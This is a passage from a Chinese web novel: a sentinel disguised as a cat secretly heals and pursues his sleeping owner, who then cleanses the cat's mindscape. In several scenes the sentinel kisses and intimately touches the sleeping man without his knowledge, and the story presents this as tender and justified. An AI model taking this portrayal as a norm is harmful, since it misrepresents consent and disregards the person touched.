强烈的不对劲的感觉袭来，打碎了悠然的睡梦，江寻神经一跳，神志猛地清醒了过来。 双臂下意识地再次用力，怀中却陡然一空，江寻睁开眼睛低头一看，被窝里，一双幽绿色眼珠的主人，正被他紧紧抱住扣在怀里。 “小树？” 嗫嚅出声，江寻的面色从警惕转为疑惑，一个用力半坐起来，狐疑地向着四周打量过去。 天还未亮，室内光线极差，但也能看出，周边的摆设与他睡前一模一样，没有任何异常。 可他的神经却突突跳动着，不住地提醒着他，这里有什么很不对劲的东西存在。 江寻眉头皱起，梦中的奇妙感觉浮上心头，思索着低头看向自己的手臂。 小臂上似乎还残留着一些温热光滑的触感，与抱着小树时的感觉完全不同。 刚想到这里，江寻一怔，慢慢低下头去，看向床上。 他的身边，小树躺着的地方，床面上露出一片不规整的压痕。 而这片压痕上方的被子，正一点一点地缓缓回落，似乎在不久前，这里曾经存在过一个比小树体积更大的物体撑起了被子。 一瞬间，毛骨悚然。 这个发现让江寻彻底清醒了过来，他什么话也顾不上说，飞快地下了床，打开灯，眼神一厉，开始在房间里扫视。 视线在房内一点点细致扫过，江寻竭力从脑海深处调动出昨晚睡觉时的景象，与现在的样子做对比。 可除了他身边的那一点异样之外，其他的地方毫无所获。 江寻深深皱起眉头，探寻的目光落向仍然趴在被窝里，睁着大眼睛看向他的猫猫。 “小树，昨天晚上这里有什么人来过吗？” 猫猫闻言，一点儿异样也没表现出来，仍然睁着大眼睛看着江寻，摇了摇头。 江寻的眉头皱得更紧，他相信小树不会害他，可这明显的异常，它又怎么会什么也不知道？ 它在隐瞒我。 难道……又和它那个前主人有关？ * 陆厌离面上一点儿异样都没露出来，心跳却快得震得他耳膜轰响。 刚才情急之下，他只来得及变回猫形，他也不知道江寻有没有看到他变化的过程，有没有发现其他的痕迹。 看着江寻问他，只得装作什么也不知道的摇着头。余光瞥见床面，赶忙又往前趴了一点，用身体挡住床上遗留下来的痕迹。 好在江寻问了一句，就没有追问下去了。 陆厌离也不知道他有没有相信，但看来眼前这一关是平安过去了。 江寻找不出更多的证据证明自己的感觉，只好先把这件事压入心底。 但这种不安并没有消失。 他开始频繁地出门探索收集资源，狩猎猛兽。在训练舱中训练时，又给自己上了一层强度。 * “嗤~” 外间的天色已经暗了下来，训练舱这才运行到了设定好的时间，应声开启。电极丝次第脱离，江寻喘着粗气，躺在舱里一时没能起得了身。 后背一片红肿青紫，火辣辣得疼，贴在训练舱冰冷的舱壁上，反而让伤处麻木了起来，好受了一些。 即使这么躺着缓和，他的脑子也丝毫没有停止运转，不停复盘着刚才的训练项目，为自己的表现打分，又思索着不足之处。 直到舱外冒出一只猫猫头，担忧地看向他，这才使出积蓄起来的力量，撑着舱壁坐了起来。 刚一坐起，眼前就是一黑。头猛地一晃，便歪歪撞上了舱壁玻璃。 外间人立而起的猫猫，见到他的样子，一纵身便跳了进来，看着他的模样担忧地不住喵喵叫唤。 江寻一手按住太阳穴，缓解脑子里针扎样的疼痛，一手把猫猫揽进了怀里，下巴抵上它的脑袋，一边顺着背毛，一边安抚道：“没事的，没事的，你别着急，让我缓缓就好了。” 陆厌离怎么能不急？ 自从那天自己差点被发现后，也不知江寻到底发现了什么，整个人又紧绷了起来，把自己逼得更狠了。 每晚睡觉前，都要仔仔细细地检查一遍屋子里所有的房间，睡也睡不安稳。搞得陆厌离都不敢再次变化过去为他补偿，眼看着他的精神又以极快的速度再次恶化了下去。 江寻哪里知道这些，只觉得最近自己的能量恢复速度，一下子变慢了下来。可他对能量的使用方式已经产生了习惯，一时来不及调整，只得眼看着能量再次枯竭了下来。 好在这几天过去，他再也没发现过之前那样的异常，紧绷起的精神也稍微松懈下了一分。 饭也顾不上吃，江寻快速洗了个澡，便早早上了床，沉沉睡了过去。 陆厌离踱至他床头，冲着他喵呜喵呜叫了好几声，都没把他惊醒，这才息了声息，身形一散，再次凝聚成人形。 因为上次的意外，今天的陆厌离动作起来格外轻柔小心，用了比平时多一倍的时间，才帮江寻按摩完头部。 可今天的补偿带来的效果却很有限，直到结束，陆厌离都没有感受到江寻的精神力重新活跃起来。 咬了咬唇，陆厌离仔细打量一下江寻，伸出手去，勾了一下他的手指。 见他丝毫没有反应的样子，这才小心地把他的手掌托了起来。 像之前一样，深深地弯下腰去，陆厌离把自己的脸庞埋进了江寻的手心，轻柔的磨蹭起来。 磨蹭几下，抬眼看看江寻，见他仍然无动于衷的模样，稍稍放下心来。 抿起嘴唇，把牙齿好好包裹住，轻轻贴吻上江寻的指尖，一触即离。 只是轻贴了一下江寻的手指，陆厌离的脸便有些红了。压下心底升起的一丝愧疚与羞耻，陆厌离再次把注意力专注于动作本身上，嘴唇贴上指尖，轻柔地向上移动，落进江寻的手心，在他的手心里辗转贴吻了好几下。 嘴唇的柔软触感非寻常皮肤可比，这么几下下去，江寻竟真的有了些反应，小指微微勾了勾，似乎想把手心里感受到的舒适感抓住。 见此情形，陆厌离更加跪近了些，捧着江寻的手臂，嘴唇顺着手心一路上移，轻柔的贴吻过去，从他的手腕脉搏处，到手臂内侧，再到鼓起的二头肌，最后落在他的肩头。 轻吻，如羽毛般不断落下，在陆厌离精准的力气控制下，刚刚好处在能带来舒服愉悦，又不会惊动到深眠中的人的程度。 一边贴吻，陆厌离的手指也没闲着，不断抚摸按揉在江寻的手臂上，让手臂从前到后都受到舒适的照拂。 这样的动作需要极大的控制力，一条手臂按摩完毕，陆厌离已经开始小口喘息了起来。 感受到萦绕在两人之间的精神力开始缓缓流动起来，陆厌离再接再厉，捧起另一条手臂如法炮制。如此这般一番努力，终于让江寻的精神力彻底激活了起来。 陆厌离轻吁口气，小心摆好江寻的手臂，观察着他身边的动静，却发现精神力激活是激活起来了，可流动速度却始终提不起来，恢复效果仍然很慢。 再看看江寻的面色，仍然没有明显地变化。 为难地咬了咬嘴唇，陆厌离视线飘忽游离着，犹豫了一下，手往他腰间伸出一半，又顿住，面色变换一下，转移了方向，重新落在了江寻胸前睡衣上。 江寻向来喜欢舒适而宽松的衣着，睡衣更甚。 可他最近的训练效果太好了，身上的肌肉厚了一层，挤在原来的睡衣里面，腰上倒是仍然宽松得很，胸口却有点紧绷了起来，扣子都有点被撑开了。 陆厌离的手一落上去，便感受到了鼓囊囊的柔韧触感。 即使心中一再提醒自己，这是在做正事，可手下传来的感觉还是让他面色一下子红了起来。 这里他作为猫咪时曾经无数次地踩过，可人手抚上去带来的感觉，和猫爪却完全不同。 心情也完全不同。 陆厌离使劲张了张手指比划一下，都不能满握住，面色更加红了。 打量一下江寻的睡姿，陆厌离翻身而起，落在江寻上方。撑开双腿，半跪在江寻身体两侧。 使劲儿捏了自己一把，打散胡思乱想，深呼吸几下，垂下头去，不再去看江寻的面容，两手向前推在了江寻胸部下沿。 双手隔着睡衣，从下往上缓慢的按压、轻推，打着转从内向外按揉在胸肌下沿。直到感觉手中的肌肉慢慢软化下来，又一点点向内收束，顺着肌肉的线条缓缓按揉。 也不知是因为换了新方式，还是江寻对这里格外敏感的原因，这次的按摩效果格外立竿见影。 他还没揉多久，手下的肌肉便软了下来，江寻的面色也舒缓了不少。 见此有效，陆厌离马上振奋了起来。 揉捏完江寻的胸前，又把目标放在了他的腰间，小心的一点点推拿过去，等到把他腰间的肌肉也揉得放松了下来，陆厌离已经跪得腿都酸了起来。 * 江寻早早就陷入了沉眠，也许是最近太累了，也许是能量用尽的副作用，这天，他不再像以往那般一睡不知，而是一入睡就陷入了一段纷乱而光怪陆离的梦境之中。 他的意识漂浮在半空中，似醒非醒，却睁不开眼睛，动不了身。 一道微妙的感应一直吊着他的一线清明，让他不至于彻底坠入梦乡。 枯竭的经脉拉扯着细胞，让他痛苦不已，可不知从何而来的一股舒适安逸感，却一直在抚慰着他，缓解他的痛苦。 体内蕴藏的能量在这股愉悦的催化下，慢慢流淌出来，滋润着干涸的河道。 江寻的神志在能量的充盈下，慢慢清明起来。 突然，当能量充盈到一个门槛时，他的灵性一下子跳动了一下。 逸散在身周的能量逐渐收缩，在空中勾勒出一个模糊的轮廓。 能量一点一点充盈，这模糊的轮廓便一点一点在江寻心中分明起来。 江寻混混沌沌地“看”到这个轮廓，伏在了自己的身体上方，不停动来动去。持续不断地愉悦感，就随着“它”的动作不断从身体中生出。 愉悦的感觉满溢在心中，江寻一下子便对这个轮廓产生了好感，抱着好奇，抱着期待，努力去“看”。 轮廓的边缘在他的努力下愈见清晰，化为一个明显的人形。 梦中不知天地，不知因果，江寻的潜意识，丝毫没有对面前这个莫名出现的人形，产生任何警惕。 他只是好奇地，努力地，想去看清这个人形的面目。 下一刻，一点点白光从那人形身上泛起，以极快的速度蔓延开来。 江寻顺着这股感觉睁开眼，外面天光大亮。 * 江寻睁开了眼睛，却没急着起身。 细细感受自己的状态。 他的神志从一睁开眼睛起就十分清明，一点儿没有初醒时的混沌。 最近一段时间里被他忽略掉的一些细节，在这一刻轻而易举地串联成了线。 他记得很清楚，这几天以来，因为心里始终在警惕着，他一直睡得不踏实。所以当他发现体内的能量恢复速度也一并慢下来时，便理所当然的以为是因为没有休息好的缘故。 可现在呢？ 他思绪稍微一动，体能充盈的能量便活泼泼地被调动了起来，如臂指使地随他使用。 再联想到之前的情况，他突然就明白了他的能量恢复起来的规律。 和他睡前的身体状况无关，他体内的能量，总是在他睡得最沉的时候恢复得最快。 甚至，他都不确定这些能量是否是他自己恢复过来的。每次当他昏睡过去之后，第二天一早，体内的能量便会自动补充回来，而在他清醒的时候，却从未感受过如此之快的恢复速度。 还有前几天在自己床上发现的异常，昨天在睡梦中恍惚感觉到的人影，小树一直避而不谈的态度。 江寻细思极恐。 * “走了小树，出门了。” 江寻穿戴上全套装备，一马当先地带着小树，在太阳刚刚升起的时候便出了门。 虽然发现了自己处境的异常，可在对方没有明确出牌的情况下，他也无法可做。 而且他也相信着小树不会害他，既然小树一直都没有提醒过他这件事，自己暂时也没有感受到敌意，那便不用一直把这件事挂在心上。 趁着现在有条件，好好提升自己的能力，按照自己的计划按部就班地进行下去才是最重要的。 江寻带着小树，一人一猫疾行在初显绿意的森林里。 冬寒慢慢过去，温暖的春风开始在林间吹拂，吹绿了许多新生的嫩芽。 冬眠的动物们也渐渐甦醒了过来，林子里嘈杂了许多。 江寻一出门便一路向着屋子东南方向疾行过去。 最近的气温上升，湖面已经化冻了，那里应该聚集了许多野生动物。要捕猎，去那边是最好的选择。 江寻一边疾走一边打开了目镜，随时观察着周围。寻常的动物他一概不动，只有遇到一些没见过的，亦或格外强大的凶兽时，才会停下来战斗一番。 也许是还没有新的凶兽游荡过来，也或许是运气不好。他这一路走下来，没有遇到如上次的蛇尾蝎一般强大的怪兽，最难对付的，也只是一只形似犀牛的野兽。 与他来回几个回合之后，便倒在了他的箭下。 这种没什么特殊之处的野兽，江寻近段时间也狩猎了许多，便也没有把战利品全部带走，只取了兽角兽牙与一部分腹部的软皮，便离开了。 一路过来，可以说是枯枝拉朽，在快速增长的实力与装备的加持下，一般的野兽遇到江寻，几乎没有一合之敌。 江寻连行进速度都没怎么减慢，便一路顺畅地接近了湖边。 可到了这里，便没有那么容易了。 江寻刚刚掀开挡路的枝叶露了个头出来，便与前方湖岸边正在对峙的三头形态各不相同的巨大凶兽对上了目光。 体内能量一散，下一秒，另一个视野已经展现在了江寻面前。 把目镜往下一推，江寻丝毫没有犹豫，一矮身便冲了上去。 * “唳~” 随着一声尖啸，一颗布满血污的狰狞鸟头飞上了半空。 巨大的鸟身一下子失去了动力，翻滚倾斜着，往地上坠去。 江寻脚下一点，在鸟身上一个借力，攀住掠过的一根树桠，翻身而上，半跪着看向地面。 双头鸟仅剩的一只头颅一声引颈长鸣，轰然垂了下去。 至此，三头凶兽全部被他斩于刀下。 江寻重重喘口气，往后一靠倚在树干上，绑缚着匕首的手指开始痉挛颤抖。 视觉共享早在战斗中便被动解除了，这会儿一松懈下来，眼前马上开始阵阵发黑。 有点大意了。 江寻在脑海里回放着刚才的战斗，最近遇到的凶兽都是肉搏型的，最特殊的也就是带点毒的程度，他没想到这三只凶兽里，看着最普通的一只双角巨鹿，居然有着特殊能力，趁着他与另外两只巨兽混战时，冷不丁对他释放了攻击。 他都没看到那攻击是个什么模样，就直接被击中，当即就被迫中断了与小树的链接，体内的能量也因为这次攻击受到了反噬，一直到战斗结束也没能重新调动起来，让他差点在这里翻车。 身边的树枝一晃，一道灰色身影纵跃而来，停住之后爪子搭上他的手，似乎在关心他的情况。 江寻手掌一翻，把肉垫握在手心晃了晃，给猫猫露出一个笑，便提起精神跳下了大树。 这次的收获很丰盛，他要去取自己的战利品了。 小动物们因为刚才的大战，早已跑了个干净，江寻快速来到死去的三头巨兽身前，挑挑拣拣地取走了它们身上看起来最有价值的部分，在湖边冲洗干净，一一收纳了起来。 待正事忙完回头去看小树，正见到它站在湖岸边，眼睛直勾勾地盯着水下，脚边上，已经躺了几只半死不活的小鱼。 江寻会心一笑，凑近去看猫猫的战利品，正好看到它急速出爪，将一只半透明的小鱼，一爪拍上了半空，那半透明的鳞片，在夕阳下闪烁出点点五彩斑斓的微光。 江寻手臂一伸，从空中接下这条眼熟的小鱼一看，熟悉的样貌便带着回忆重新翻回了脑海。 猫猫也发现了江寻的靠近，便也停下了它的捕猎，把脚下的几条小鱼往岸上又踢了踢，便脚步轻快地向着江寻靠过去。 太阳开始西沉，湖面上飘飘渺渺地升起了一层薄雾，被薄雾笼罩住的猫猫，轻易便再次开启了江寻脑海中，记忆的大门。 江寻怀念地笑了笑，半蹲下身来，双臂张开，把小跑过来的猫猫拥进怀里，侧脸过去亲了亲，心中满溢感慨。 也不急着回家了，就着清冽的湖水处理干净几条小鱼，便在湖岸边生起火烤起了鱼。 猫猫乖乖的窝在江寻的怀里，眼眶直勾勾地盯着穿在树枝上的小鱼。 虽然没有洒调料，但是初春的小鱼，肉质最是肥厚细嫩，又都是刚刚捕上来的，一点儿腥味也没有，在火上稍微一烤鱼皮便浸出了油来，滋啦啦地散出浓香。 江寻下巴压在猫猫头顶，手上漫不经心地翻转着烤鱼，眼睛却一直盯着猫猫的反应，只觉得自家猫猫的一举一动都可爱极了。 烤好了鱼，他自己也不急着吃，就一条一条地给自家猫猫挑好刺又吹凉了，一点点地喂给了它，伺候着它吃饱了，这才把剩下的鱼肉一扫而空。 待一人一猫吃饱，天色已经擦黑，两轮淡红圆月从天边露出了半个脸庞。 吵嚷的森林宁静了下来，几道梦幻般的弧光出现在了天空之中。 江寻拥着猫猫躺在湖岸边，静静地看向天空，欣赏这难得的风景。 从降落在这个无人星球之后，经历过的种种，在脑海中次第轮转。 猫猫像是也觉察到了江寻的思绪，没有打扰，就那么被他揽在臂弯里，静静躺着看着他。 江寻扭头便看到了猫猫望着他的眼神，它不知已经这样看着他多久了，这目光专注，充满了信赖与依恋，完全填满了江寻内心的空洞。 江寻忍不住侧转过身，双手环抱住小树，低头埋入它的肚腹之中。 心中油然而生对于命运的感激。 感激命运，让他在这举目无亲的世界里找到了新的家人。让他空洞的人生有了真实的追求，让他重新燃起了对生活的好奇与希望。 感激命运把小树送到了他的身边。 这一刻，江寻向来平静的内心被充盈的情绪填满，抬起头来认真的与小树对视： “小树，等下一次，那个人再来的时候，我们就一起走吧！” 猫猫睁大着眼睛，愣愣地看着江寻，似乎没有明白江寻的意思。 “我已经为资源库重新填充满了新的资源，补上了这段时间以来消耗掉的东西。也猎到了许多野兽，收集了很多有用的材料。我不知道这些东西的价值够不够，不过，这些已经是我完全凭自己，能获得的最好的东西了。” 江寻抓着猫猫的爪子，神色认真。 “我把这些全部都给他作为补偿，从此以后，我们不再接受他的恩惠住在这里了，和我一起离开好不好？” “我们重新找个地方安家，我已经能保护自己保护你了，我们离开这里，不再管任何其他的人，只有我们两个，好不好？” “你的伤我可以治好的，你再也不用为未来担心。我知道你还有许多秘密没有告诉我，没关系，我也有许多事没有告诉你，这些都不是最重要的，只要我们一直在一起，就还有很长很长的时间可以慢慢来。” “所以，和我走，从今以后，一直留在我身边，好不好？” * 不论俗世中的人们有着什么样的烦忧，月亮依然照常升起。 陆厌离也照常在江寻怀中睁开了眼睛。 但今天的他，心情已经完全不同。 一睁开眼睛，他的目光就自动移向了拥着自己的男人，几乎是迫不及待地偎上前去，手指死命拽住了男人胸前的衣服。 紧紧咬住嘴唇，眼中闪动着希冀的光芒。 直到现在，他仍然因为下午江寻所说的话，沉浸在不可置信的情绪中。他几乎想要不顾后果的直接在他面前化作人形，应下江寻的话语。 心脏怦怦直跳，陆厌离勉力压下激动的情绪，对自己说。 还没到时候，再等等。 这里还不安全，要等到军部下一次派人来，或者从二哥下次派来的人那里，拿到登陆舰的权限，和江寻一起离开寂静星再说。 虽然这么想着，可陆厌离还是压抑不住高兴的情绪，紧紧贴上江寻，虚虚地抱在了他的腰间。 他知道我有秘密瞒着他，但是他不介意，这是真的吗？ 虽然听了江寻的话，陆厌离心中还是充满了不确定。 即使我不是他一直以为的那只猫，而是一个陌生的哨兵，还一直瞒着他，趁他不知道的时候做了这么多冒犯的事，他也不会怪我吗？到时候真的还能和现在一样对待我吗？ 陆厌离心中又是忐忑，又是希冀。抓着江寻衣服的手一会儿松，一会儿紧。 他原本已经决定，如果是江寻的愿望的话，他可以一辈子维持着宠物的身份，只要能够留在他身边。 如今，却好像突然有了更多的希望。 额头抵上江寻的胸膛，听着近在耳边的心跳声，陆厌离的表情难以形容。 想要紧紧拥抱面前人的欲|望，逼得他红了眼睛。可理智却仍然死死压着他，让他只能轻轻地辗转碾磨。 两种截然不同的情绪在他心中拉扯，求而不得的欲|望逼得他额上迅速覆上了一层汗珠。 陆厌离的眼神着了魔似得紧紧盯着江寻的面容，嘴唇颤抖着轻吻在他的锁骨上，喉间溢出一声如泣如诉的低吟。 重重喘息一声，他的嘴唇迫不及待地向上移动，攀过鼓起的喉结，越过锋利的下颌线，最后，颤抖着落在了江寻的嘴唇上。 下一刻，无数绚烂烟花在他心中无声绽放—— 作者有话说：眼睛一睁就倒欠九千[笑哭]大佬们都是怎么日万的555~~ 第62章 唔……谁？ 平静的精神世界中， 忽然泛起一圈涟漪，江寻的灵性被这波动唤醒了一分，模模糊糊地从梦中“醒”了过来。 精神力无意识地扩散出去， 覆在身周的物体上， 勾勒出了轮廓。 江寻迷迷糊糊的， “看”到一道散着微光的轮廓紧贴在他身前匍匐移动。 这道轮廓移动到哪里，哪里就传来一股极为舒适的愉悦感。 这种愉悦感，让他的潜意识对于这道轮廓失去了所有戒心， 就那么看着这道轮廓的所有动作， 接收着从他那里获得的源源不断的快乐。 快乐的积累让他体内的精神力快速恢复起来，他的神志也在这种补充里渐渐变得清明。 感应中的轮廓越来越清晰，慢慢显露出明显的人形来。 奇怪的是，明明他的灵性应该在发现这个陌生人影的第一时间，给他示警。可他的精神力却好像很熟悉面前的人影似的，丝毫没有展露出攻击性， 轻易的接受了他的靠近， 甚至在他靠近时， 更加活跃了起来，紧紧覆在他的身上久久不愿离去。 也许是因为潜意识的影响， 江寻渐渐清明起来的神志，也没有对这道人影升起丝毫负面情绪， 只有一丝好奇，让他想要睁开“眼睛”， 看清楚面前的人影。 他的精神力响应了潜意识的意志，覆在人影身上的部分开始显露出更多细节。 他“看”到对方的手腕搭上了自己的胸膛，“看”到了对方紧贴过来的身体，“看”到了他尖削精致的下巴， “看”到了他俊俏挺直的鼻梁。 未知激起了他的好奇心，他努力想要睁开眼睛，此时却感受不到身体的存在，只得“看”着这道人影，在他身前触碰着，一步步上移。 最后，落在了他的唇上。 恍惚了一瞬，“看”到这个陌生的人影做出这番举动，他的潜意识却丝毫没有产生任何不快，只是更加用力地“看”过去，想要看清楚他的模样，却只能看得到一片莹莹微光。 微光之中，一道似乎非常熟悉的视线，穿过茫茫空间，落入了他的眼眸。 * 天光大亮，江寻再次精神奕奕地醒了过来。 感受着体内充盈的能量，江寻眉头一挑，想起昨夜的梦境，若有所思。 左右打量一番，今天的猫猫却没有在床上赖床，一大早就没了踪影。被子床单上也没有留下任何可疑的痕迹。 可昨夜模模糊糊的梦境与此时的欲盖弥彰，却恰恰说明了异常。 江寻想了想，什么也没说，整理好床铺便下了楼，如平日里一般开始了正常的日程。 只是在午餐之后，没有去训练室训练，而是抱着小树回了房。 熟练地架起链接，进入了混沌空间中，江寻看着悬浮在空中，已经少了许多的灰烬，心念一动。 下一秒，比平日里多得多的发光触须从江寻身后具现化出来，如有意识般，一根根暴射而出，向着四周的猎物倏然奔去。 * 不辨上下的混沌空间中，弥漫着无尽迷雾与漂浮着的灰烬。 一团泛着白光的光团悬浮在空间正中，从光团中延伸出许多条细细密密的光须，如触足一般在四周的空间中不住地抽打抓取。 光团在空间中缓缓地漂移着，被它散溢出去的光须笼罩住的地界，迷雾与灰烬都会在无数光须的拍打之下，化为点点光尘消逝。 光团行进的速度不快，却持续又稳定地移动着，随着它的移动，越来越多的灰烬被消弭于无形，迷蒙的混沌空间，越来越干净明澈起来。 江寻屏气凝神，控制着体内的能量持续输出，驱使着道道触须不断净化着这片空间。 身边的异常、小树的隐瞒，他清清楚楚地看在眼里，但是他并不怪它。 即使它如此聪明，也只是一只“战兽”，他不能以人类的道德规范去要求一只动物。 只要它的心中把自己放在第一位，其他的东西，他可以帮助它去克服。 说到底，这不就是主人应该做的事么？ 它对自己隐瞒，究其本质原因，仍是自己还不够强大，无法让它没有顾忌地对他坦白。 它的隐瞒，原因可能有许多，江寻觉得，它身上始终没有治愈的精神污染，一定也是其中的一环。 其他的事，他不知道，也暂时做不到。但起码，治愈他的精神污染，是他可以做到的事。 他今天的状态很好，这一次，他便打算一鼓作气，彻底解决它身上的污染。 江寻感受一下|体内剩余的能量，与能量的恢复速度，再看看剩余下来，还没清理的空间面积，在心中暗暗计算一下。 随后，提起一口气，更多的触须从他身上窜了出来，周身所有触须猛地向外一涨，笼罩住更大一片球形区域，更加凶猛地在空间中游移起来。 精神空间中，时间失去了意义。 混沌的空间，随着时间的过去慢慢亮堂起来，随时漂浮着的迷雾与灰烬，在江寻的努力下，逐渐消失。 当所有的灰烬彻底消失的那瞬，徘徊着的巨大触须球一阵模糊。下一刻，所有的光须全部崩裂开来，化为亿万光尘，一部分就此散去，剩余一部分，又缓缓飘回了中心的光团之中。 待得所有光尘各归其位，江寻周身能量一收，在中心的光团中再次睁开了眼睛。 曾经那道被浓浓迷雾笼罩着的壁障，在他面前彻底现出了真实的面目。 * 陆厌离司空见惯地在独属于他的小小阁楼中甦醒了过来。 啪嗒啪嗒地跑去天窗边，扒上窗口向外看去，天空中依然浓雾弥漫，但已经有点点光尘，穿过迷雾的封锁，从空中洋洋洒洒地飘落下来。 光尘洒落在海中的孤岛上，熊熊燃烧着的火焰便又被压下去了一层。 陆厌离心中喜悦，低头朝庄园内四处看看，见火势已经在源源不断的光尘压制下渐渐颓靡下去，四爪扒着墙壁就要从天窗上翻出去。 “叮~” 一声悠长清脆的铃声适时从陆厌离背后响起。 他动作一顿，扭头看过去，忙松开了爪子，又扑腾扑腾着跑了回去，从软垫前的地面上，叼起了那颗刻着名字的铃铛，这才重新攀上天窗，翻越了出去。 天外的光尘随着时间的过去，不断飘落下来。厚重的云层一点点透出光芒，浮云流动起来，间或露出空隙。点点光斑透过云层洒落下来，给黑白两色的精神图景带来了一丝生气。 孤岛之上，熊熊燃烧着的火苗被慢慢压制下去，从庄园向外渐渐止息。 残留下来的燃后灰烬向着天空飘升而去，越来越快，越来越少。 灰烬散去的庄园，渐渐露出了它原本的模样。 陆厌离只觉得体内的桎梏随着火焰的渐熄，一点一点松散开来，纯净的精神力如涓涓流水，不断从四面八方涌入他的心湖。 越来越多的精神力，顺着他体内的经络流经他的身体各处。一个个干涸已久的细胞，在精神力的流淌中渐渐充盈起来。 满溢而出的精神力，一点点唤醒着身体，速度、力量、自愈力、控制力等等，都在这股新生力量的支持下不断向上攀爬。 体内的沉疴，在能量的冲刷下渐渐松动，又被自愈细胞一点点蚕食。 陆厌离的身体与精神，乘着这股春风不断地上扬再上扬，冲着顶级哨兵的巅峰冲击而去。 在这股不断上扬的纯净精神力冲刷下，陆厌离不知不觉地阖上了双眼，恬静趴卧下去。 精神体上被污染后留下的陈年伤痕，开始慢慢淡化。 灰烬散后露出的大地之上，有点点鲜活的色彩浮现出来。 陆厌离的意识被轻飘飘地吹上了云端，乘着这股力量，离天空越来越近。 一道光柱透过层云的遮蔽，斜斜照射了过来，笼罩住了陆厌离的意识。 而后，空中的云层如被风吹散般，越来越淡。 缝隙越来越大，光柱愈发粗壮温暖。直至所有的云彩飘散到了一个程度，忽而一窒。 下一刻，一股沛然大风从天外吹拂而过，吹散了所有遗留下来的薄云。 陆厌离的意识被这股大风一吹，飞速坠落下去，精神体一动，猛然睁开了双眼。 精神图景内，堆云散尽，沉疴尽去，整个焕然一新。 * 收回了剩余的精神力，江寻悬浮在半空中，笑着长吁口气。 经过这么久的努力，他终于成功把这片空间中所有的污染全部清理干净了。 想想等下小树的表情，他就充满了期待。 曾经被浓雾壁障严严实实遮蔽起来的封闭空间，现在已经尽数展露在江寻面前。 还有一些剩余的精神力没有用尽，江寻便调动起体内剩余的力量，对抗着阻力，一点点移动到了那面屏障面前。 透明屏障那面，正是他曾经进入过的那片奇异空间。 不过如今，空间里已经看不到飘飘洋洋落下的雪花，与接天连地的火海。 一望无尽的汹涌碧波中间，一座孤零零的小岛伫立其中。 远远看去，还能看到小岛上面嶙峋生长的各种长相古怪的植物。 小岛正中间，塔楼高耸，正是他曾经见到过小树的那个残破庄园。 江寻凝目仔细辨认，想要在里面找到猫猫的影踪，可他们之间的距离实在太远了，实在无法看得清。 江寻提起力量，又使劲往屏障的方向挪动了一步，便再也靠近不了了。 叹口气，也许是还没到时候，江寻正要放弃，断开这次链接，忽然，一个活动的黑色小点，突然从屏障那边的庄园里冒了出来，而后，以极快的速度向着他的方向疾驰而来。 小点越来越近，越来越大，一道声音似乎穿过了层层空间，冲进了他的耳膜。 江寻了然一笑，站在原地，看着那个黑点急速冲到了他的面前。 * 没有了迷雾的阻碍，陆厌离在睁开眼睛的第一时间，便马上感应到了天外屏障的那一边，传来的熟悉精神波动。 这一刻，他什么也没想，一跃而起便向着那个方向冲了过去。 四爪在大地上一蹬，便如踏上了透明阶梯一般上了天空。 上天之后，他的速度再增，风驰电掣般卷到了屏障面前。 透过看不见的屏障，他看到一大团泛着莹莹光辉的光团，正漂浮在屏障外不远处。 他从没见过这个东西，但从中逸散出来的熟悉精神力，让他一眼就认出了来人。 陆厌离迫切地趴在屏障上，眼带希冀地看向江寻，却发现那团光团就那么徘徊在距离屏障不远的位置，久久无法寸进。 遗憾的情绪浮上心头，陆厌离这才想起了关于如何进入精神图景的常识。 精神图景，是每个哨兵精神世界的中心，隐藏着他们所有的隐秘与弱点，因为它的重要性，所有的哨兵，在自身的精神图景构建生成时，就会自然而然的同时在图景外部，竖立起一道坚实的精神屏障用以保护自己。 这道屏障，保护着哨兵的精神核心，是精神体的栖息地。 在屏蔽外界而来的绝大多数异常波动，防止它们污染哨兵的同时，也承担着抵挡精神攻击的功能。 它是哨兵面对精神攻击的最后一道，也是最坚固的一道防线。 但是，也因为它的这种坚固的特性，外来者想要进入哨兵的精神图景，即使是在哨兵本人应允的情况下，仍然有着许多的先决条件，十分困难。 首先，向导想要进入其他哨兵的精神图景，他自己本身必须完全掌握C级向导技能深层精神链接，否则，他连链接两人精神世界的精神通道都无法进入。 其次，向导本身要拥有至少达到B级水准的精神力总量。没有足够的精神力储备，便不足以使用后续的技能完全突破这层坚固的屏障。 在达到这两个最基本的条件之后，情况又因为图景主人的意志大概分为两种。 当精神图景的主人处于无意识状态，又或者潜意识里抵抗着来人进入的时候，向导只能使用攻击性技能，强行打破屏障，进入精神图景。 毫无疑问，这种方式对于双方的危险性都很大，哨兵的抵抗意志越强烈，突进成功率就越小。 还有一种情况，当精神图景的主人从潜意识里应允来人进入的时候，屏障会失去反击的力量，变得无害。 向导可以使用B级向导技能精神融合，用自己的精神力包裹住自己的精神体，通过同调融合的方式，将自己的精神力融入屏障，从而带着自己的精神体通过屏障的阻隔。 这种温和的方式对双方来说都没有危险，是哨向关系中最常见到的方式。 陆厌离不清楚江寻现在的精神力总量到达了什么水平，可他连自己的精神体都还没有成功凝聚出来，B级的向导技能更是无从学起，按照一般的方式，根本不可能突破屏障，进入陆厌离的精神图景之中。 可内心的迫切，却驱使着陆厌离执拗地选择了另一条道路。 他调动起身体中刚刚恢复过来的大量精神力，凝聚于一点，猛然向着自己面前的屏障轰击了过去。 * 来者果然是小树。 江寻靠近不得，只得徘徊在屏障之外，看着对面疾驰而来的猫猫。 如今的它，与最初在那座小小阁楼里见过的样子已经截然不同了。 阔额宽吻，肌肉遒劲，毛发飘逸，四肢有力，特别是刚才凌空飞渡而来时，那随风卷动的鬃毛，矫健的姿态，看上去威风极了！ 见到它如今的模样，江寻心中成就感拉满，特别是看到它向着自己奔驰而来的模样，更是让他熨帖不已。 原本今天的任务已经完成了，江寻只想与奔驰而来的小树打声招呼，便断开链接。却见小树来到屏障那端之后，双目一凝，扬起一掌便狠狠砸在了面前的屏障上。 屏障被这一下砸得剧烈闪动了一下，连带着周边的空间似乎都扭曲了一瞬。 隔着屏障，江寻感受不到这股力量有多大，可光是看到屏障的动静，也知道不同寻常。 江寻惊讶地看向小树，不太明白如今的状况，可看着小树的样子，还是努力调动起体内剩余的力量，同样向着屏障撞去。 一人一猫一里一外，砸了许久，那道看不见的屏障在两人的冲击下晃动个不停，但始终没有被突破。 看着那边的小树喘着粗气的样子，江寻正要劝他放弃，下次再说，整个空间突然摇动了起来。 下一秒，江寻只觉得后背一股拉力袭来，眼前一暗又一亮，已经离开了那片混沌空间。 被动断开的链接引起了反噬，让江寻当即脑中一空，眼前一花，耳边一片嗡鸣声响起。 上身晃动一下，几欲歪倒，用手撑了一下，才止住了颓势。 